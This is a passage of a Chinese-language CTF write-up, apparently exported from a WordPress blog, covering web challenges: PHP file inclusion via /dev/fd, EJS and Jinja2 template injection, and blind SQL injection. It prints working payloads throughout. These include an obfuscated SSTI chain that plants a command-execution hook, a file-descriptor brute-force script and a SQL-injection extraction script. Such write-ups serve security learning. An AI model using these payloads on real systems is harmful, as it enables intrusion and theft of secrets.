Deprecated: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in \/var\/www\/html\/aa__^^.php on line 4
\u200b
Fatal error: Uncaught ValueError: Path cannot be empty in \/var\/www\/html\/aa__^^.php:4 Stack trace: #0 \/var\/www\/html\/aa__^^.php(4): readfile('') #1 {main} thrown in \/var\/www\/html\/aa__^^.php on line 4<\/pre>\n\n\n\n
    \n
  • \u811a\u672c\u6b63\u5728\u5bfb\u627e\u4e00\u4e2a\u53eb filename<\/code> \u7684\u53c2\u6570<\/li>\n\n\n\n
  • readfile()<\/code> \u7ed9ai,\u5927\u6982\u51fa\u6765\u8fd9\u6837\u7684\u4ee3\u7801
    \/\/ \u7b2c3\u884c\uff1a\u60f3\u7b97filename\u53c2\u6570\u7684\u957f\u5ea6\uff0c\u4f46filename\u6ca1\u4f20
    if (strlen($_GET[‘filename’]) > 0) {
    \/\/ \u7b2c4\u884c\uff1a\u60f3\u8bfb\u53d6filename\u6307\u5b9a\u7684\u6587\u4ef6\uff0c\u4f46filename\u662f\u7a7a\u7684
    \u00a0 readfile($_GET[‘filename’]);
    }<\/li>\n<\/ul>\n\n\n\n
    \u968f\u4fbf\u4f20?filename=xxx\u53d1\u73b0\u662f readfile(xxx): Failed to open stream<\/p>\n\n\n\n
    ok\uff0c\u6587\u4ef6\u5305\u542b<\/p>\n\n\n\n
    \u4f20aa__%5E%5E.php?filename=aa__%5E%5E.php
    <?php
    $flag = fopen('\/my_secret.txt', 'r');
    if (strlen($_GET['filename']) < 11) {
      readfile($_GET['filename']);
    } else {
      echo \"Filename too long\";
    }<\/pre>\n\n\n\n
    \uff1fai\u725b\u903c\uff0cok\uff0c\u79d2\u4e86\uff0c\u4e0d\u6ca1\u6709\uff0c\u8fd9\u4e2a my_secret.txt<\/code> \u957f\u5ea6\u663e\u7136\u8d85\u8fc7\u4e86 11\uff0c\u524d\u9762 fopen<\/code> \u6253\u5f00\u4e86\u76ee\u6807\u6587\u4ef6 \/my_secret.txt<\/code>\uff0c\u5e76\u5c06 handle \u8d4b\u503c\u7ed9\u4e86\u53d8\u91cf $flag<\/code><\/p>\n\n\n\n
    \uff08Linux \u4e2d\u4e00\u4e2a\u8fdb\u7a0b\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u65f6\uff0c\u5185\u6838\u4f1a\u5206\u914d\u4e00\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26\u7ed9\u8fd9\u4e2a\u6587\u4ef6 handle\uff0c\u65b0\u6253\u5f00\u7684\u6587\u4ef6\u4ece 3 \u5f00\u59cb\u9012\u589e\uff0c\u53ef\u4ee5\u901a\u8fc7 \/proc\/self\/fd\/<\u81ea\u7136\u6570><\/code> \u6216 \/dev\/fd\/<\u81ea\u7136\u6570><\/code> \u6765\u8bbf\u95ee\u8fd9\u4e9b\u6587\u4ef6\u63cf\u8ff0\u7b26 \uff09<\/p>\n\n\n\n
    import requests
    \u200b
    URL = \"http:\/\/REPLACE TO YOUR URL\"
    \u200b
    for i in range(99):
        print(requests.get(URL + f\"\/aa__^^.php?filename=\/dev\/fd\/{i}\").text)<\/pre>\n\n\n\n
    \u901a\u8fc7filename<\/code>\u53c2\u6570\u8bfb\u53d6\u6587\u4ef6\uff0c\u4ee3\u7801\u5c31\u81ea\u52a8\u8bd5\/dev\/fd\/0<\/code>\u3001\/dev\/fd\/1<\/code>\u3001\/dev\/fd\/2<\/code>…\uff0c\u76f4\u5230\u627e\u5230\u85cf\u7740 flag \u7684\u90a3\u4e2a\u7f16\u53f7<\/p>\n\n\n\n
    Expression<\/h3>\n\n\n\n
    \u8fd9\u4e2a\u7a0b\u5e8f\u5458\u5077\u61d2\u76f4\u63a5\u590d\u5236\u7c98\u8d34\u7f51\u4e0a\u7684\u4ee3\u7801\u8fde JWT \u5bc6\u94a5\u90fd\u4e0d\u6539..\uff1f<\/p>\n\n\n\n
    \u968f\u4fbf\u6ce8\u518c\u8fdb\u53bb\uff0c\u9875\u9762\u662f<\/p>\n\n\n\n
    \u6b22\u8fce\uff0cuser_96a12632210f \uff01<\/pre>\n\n\n\n
    \u6839\u636e\u63d0\u793a\uff0c\u67e5\u770bjwt\u5bc6\u94a5\uff0c\u7136\u540e\u53bb\u7206\u7834\uff0c\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662f\u65e0\u5f71\u5de5\u5177\uff0c\u76f4\u63a5\u7206\u7834\u51fa\u6765\u5bc6\u94a5\u662fc2VjcmV0\uff0c\u7136\u540e\u53d1\u73b0\u4f60\u7684user\u5c31\u662f\u4f60\u56de\u663e\u7684\uff0c\u8fd9\u91cc\u53ef\u80fd\u662fssti\u4ee5\u53caxss,\u53e6\u5916\u670d\u52a1\u7aef\u7684\u54cd\u5e94\u5934\u8fd8\u6709\u4e00\u6761\uff1aX-Powered-By: Express<\/code>\uff0c\u56e0\u6b64\u670d\u52a1\u7aef\u662f ExpressJS \u3002<\/p>\n\n\n\n
    \u90a3\u5c31\u662fEJS_SSTI\u4e86<\/p>\n\n\n\n
    <%= global.process.mainModule.require ('child_process').execSync ('env') %> \u67e5\u770benv\u73af\u5883\u53d8\u91cf<\/pre>\n\n\n\n
    Xross The Finish Line<\/h3>\n\n\n\n
    \u770b\u5b98\u65b9wp\u5427<\/p>\n\n\n\n
    week2<\/h2>\n\n\n\n
    ez_read<\/h3>\n\n\n\n
    \u5148\u968f\u4fbf\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\uff0c\u53d1\u73b0\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6<\/p>\n\n\n\n
    ...\/.\/app.py
    \u53d1\u73b0\u51fa\u6765\u6e90\u4ee3\u7801<\/pre>\n\n\n\n
    from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
    import os
    \u200b
    app = Flask(__name__, template_folder=\"templates\", static_folder=\"static\")
    app.secret_key = \"key_ciallo_secret\"
    \u200b
    USERS = {}
    \u200b
    \u200b
    def waf(payload: str) -> str:
        print(len(payload))
        if not payload:
            return \"\"
            
        if len(payload) not in (114, 514):
            return payload.replace(\"(\", \"\")
        else:
            waf = [\"__class__\", \"__base__\", \"__subclasses__\", \"__globals__\", \"import\",\"self\",\"session\",\"blueprints\",\"get_debug_flag\",\"json\",\"get_template_attribute\",\"render_template\",\"render_template_string\",\"abort\",\"redirect\",\"make_response\",\"Response\",\"stream_with_context\",\"flash\",\"escape\",\"Markup\",\"MarkupSafe\",\"tojson\",\"datetime\",\"cycler\",\"joiner\",\"namespace\",\"lipsum\"]
            for w in waf:
                if w in payload:
                    raise ValueError(f\"waf\")
    \u200b
        return payload
    \u200b
    \u200b
    @app.route(\"\/\")
    def index():
        user = session.get(\"user\")
        return render_template(\"index.html\", user=user)
    \u200b
    \u200b
    @app.route(\"\/register\", methods=[\"GET\", \"POST\"])
    def register():
        if request.method == \"POST\":
            username = (request.form.get(\"username\") or \"\")
            password = request.form.get(\"password\") or \"\"
            if not username or not password:
                return render_template(\"register.html\", error=\"\u7528\u6237\u540d\u548c\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a\")
            if username in USERS:
                return render_template(\"register.html\", error=\"\u7528\u6237\u540d\u5df2\u5b58\u5728\")
            USERS[username] = {\"password\": password}
            session[\"user\"] = username
            return redirect(url_for(\"profile\"))
        return render_template(\"register.html\")
    \u200b
    \u200b
    @app.route(\"\/login\", methods=[\"GET\", \"POST\"])
    def login():
        if request.method == \"POST\":
            username = (request.form.get(\"username\") or \"\").strip()
            password = request.form.get(\"password\") or \"\"
            user = USERS.get(username)
            if not user or user.get(\"password\") != password:
                return render_template(\"login.html\", error=\"\u7528\u6237\u540d\u6216\u5bc6\u7801\u9519\u8bef\")
            session[\"user\"] = username
            return redirect(url_for(\"profile\"))
        return render_template(\"login.html\")
    \u200b
    \u200b
    @app.route(\"\/logout\")
    def logout():
        session.clear()
        return redirect(url_for(\"index\"))
    \u200b
    \u200b
    @app.route(\"\/profile\")
    def profile():
        user = session.get(\"user\")
        if not user:
            return redirect(url_for(\"login\"))
        name_raw = request.args.get(\"name\", user)
        
        try:
            filtered = waf(name_raw)
            tmpl = f\"\u6b22\u8fce\uff0c{filtered}\"
            rendered_snippet = render_template_string(tmpl)
            error_msg = None
        except Exception as e:
            rendered_snippet = \"\"
            error_msg = f\"\u6e32\u67d3\u9519\u8bef: {e}\"
        return render_template(
            \"profile.html\",
            content=rendered_snippet,
            name_input=name_raw,
            user=user,
            error_msg=error_msg,
        )
    \u200b
    \u200b
    @app.route(\"\/read\", methods=[\"GET\", \"POST\"])
    def read_file():
        user = session.get(\"user\")
        if not user:
            return redirect(url_for(\"login\"))
    \u200b
        base_dir = os.path.join(os.path.dirname(__file__), \"story\")
        try:
            entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
        except FileNotFoundError:
            entries = []
    \u200b
        filename = \"\"
        if request.method == \"POST\":
            filename = request.form.get(\"filename\") or \"\"
        else:
            filename = request.args.get(\"filename\") or \"\"
    \u200b
        content = None
        error = None
    \u200b
        if filename:
            sanitized = filename.replace(\"..\/\", \"\")
            target_path = os.path.join(base_dir, sanitized)
            if not os.path.isfile(target_path):
                error = f\"\u6587\u4ef6\u4e0d\u5b58\u5728: {sanitized}\"
            else:
                with open(target_path, \"r\", encoding=\"utf-8\", errors=\"ignore\") as f:
                    content = f.read()
    \u200b
        return render_template(\"read.html\", files=entries, content=content, filename=filename, error=error, user=user)
    \u200b
    \u200b
    if __name__ == \"__main__\":
        app.run(host=\"0.0.0.0\", port=8080, debug=False)<\/pre>\n\n\n\n
    \u5c1d\u8bd5\u6253\u4e00\u4e0bssti ?name={{7*7}}\u51fa\u676549<\/pre>\n\n\n\n
            waf = [\"__class__\", \"__base__\", \"__subclasses__\", \"__globals__\", \"import\",\"self\",\"session\",\"blueprints\",\"get_debug_flag\",\"json\",\"get_template_attribute\",\"render_template\",\"render_template_string\",\"abort\",\"redirect\",\"make_response\",\"Response\",\"stream_with_context\",\"flash\",\"escape\",\"Markup\",\"MarkupSafe\",\"tojson\",\"datetime\",\"cycler\",\"joiner\",\"namespace\",\"lipsum\"]
            for w in waf:
                if w in payload:
                    raise ValueError(f\"waf\")<\/pre>\n\n\n\n
    \u662fssti\uff0c\u53ea\u8981\u7ed5\u8fc7\u8fd9\u4e2a\u6f0f\u6d1e\u76f4\u63a5\u6253ssti<\/p>\n\n\n\n
    {{(()[\"__cl\"+\"ass__\"][\"__b\"+\"ase__\"][\"__subcl\"+\"asses__\"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec(\"__imp\"+\"ort__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__imp\"+\"ort__('os').popen(__imp\"+\"ort__('flask').request.args.get('ivory')).read());'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\")}}<\/pre>\n\n\n\n
    \u8fd9\u4e2a\u6309\u7167\u903b\u8f91<\/p>\n\n\n\n
    profile?name={{config[\"_\"\"_c\"\"lass__\"][\"__ba\"\"se__\"][\"__init__\"][\"__g\"\"lobals__\"]['os'].popen('ls').read()}}\u76f4\u63a5\u53bb\u8fdb\u884c\u547d\u4ee4\u6267\u884c\u5c31\u884c\uff0c\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u6ca1\u6253\u901a<\/pre>\n\n\n\n
    \u6216\u8005\u53bb\u770b\u5b98\u65b9wp<\/p>\n\n\n\n
    Sequal No Uta<\/h3>\n\n\n\n
    \u70b9\u8fdb\u53bb\u5c31\u662f\u4e2a\u67e5\u8be2\u9875\u9762<\/p>\n\n\n\n
    admin'%09and%091=1--+<\/pre>\n\n\n\n
    \u672a\u627e\u5230\u7528\u6237\u6216\u5df2\u505c\u7528<\/pre>\n\n\n\n
    ?name=admin'%09and%091=1-- <\/pre>\n\n\n\n
    \u8be5\u7528\u6237\u5b58\u5728\u4e14\u6d3b\u8dc3<\/pre>\n\n\n\n
    \u5b58\u5728sql\u6ce8\u5165<\/p>\n\n\n\n
    import requests
    import string
    \u200b
    url = \"http:\/\/80-48f73a1b-ee6f-4a74-b4b0-be26c06401cd.challenge.ctfplus.cn\/check.php\"
    charset = sorted(string.ascii_letters + string.digits + \"._{}-,\")
    result = \"\"
    pos = 1
    \u200b
    def test_payload(base_url, payload):
        payload = payload.replace(\" \", \"%0a\")
        respoen = requests.get(url, params=payload)
        if '\u8be5\u7528\u6237\u5b58\u5728\u4e14\u6d3b\u8dc3' in respoen.text:
            return True
        else:
            return False
    while True:
        left,right = 0,len(charset)-1
        while left < right :
            mid = (right + left)\/\/2
            ch = charset[mid]
    \u200b
            payload = f\"name=admin' AND substr((select group_concat(secret,',') FROM users),{pos},1)>'{ch}'-- \"
            if test_payload(url,payload) :
                left = mid + 1
            else:
                right = mid
        if left < len(charset):
            result = result + charset[left]
            print(f\"\u5f53\u524d\u7ed3\u679c\u4e3a{result}\")
            pos += 1
        else:
            print(\"\u7ed3\u675f\")
            break
    print(\"[*] \u679a\u4e3e\u5b8c\u6210:\", result)
    \u8001\u957f\u65f6\u95f4\u6ca1\u6709\u6253\u811a\u672c\u4e86\uff0c\u7a0d\u5fae\u6253\u4e00\u4e0b<\/pre>\n\n\n\n
    <\/h3>\n","protected":false},"excerpt":{"rendered":"
    \u6781\u5ba2\u5927\u6311\u62182023-web-unsign \u6765\u7b7e\u4e2a\u5230\u5427\u5148 <?phphighlight_file(__FI […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-167","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/167","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=167"}],"version-history":[{"count":4,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/167\/revisions"}],"predecessor-version":[{"id":208,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/167\/revisions\/208"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=167"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}